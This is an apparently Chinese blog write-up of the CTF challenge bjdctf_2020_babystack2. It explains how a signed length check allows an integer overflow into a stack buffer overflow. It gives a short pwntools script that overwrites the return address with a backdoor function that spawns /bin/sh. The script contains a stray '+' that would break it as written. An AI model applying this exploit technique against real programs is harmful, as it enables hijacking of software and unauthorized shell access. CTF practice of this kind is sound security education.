bjdctf_2020_babystack2

题目链接:bjdctf_2020_babystack2

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )                       // 整数溢出
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

留意到,存在一个后门函数,如下。

__int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

解题思路:

  1. 利用整数溢出,造成栈溢出。
  2. 接触程序执行流到 backdoor 函数,即可 GetShell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:0000000000400726 backdoor        proc near
    sla('[+]Please input the length of your name:\n', '-1')
    sa('[+]What\'s u name?\n', + \
       0x18 * b'a' + \
        p64(0x00000000000400726) \
    )
    irt()

pwn()
posted @ 2025-09-06 13:10  imtaieee  阅读(29)  评论(0)    收藏  举报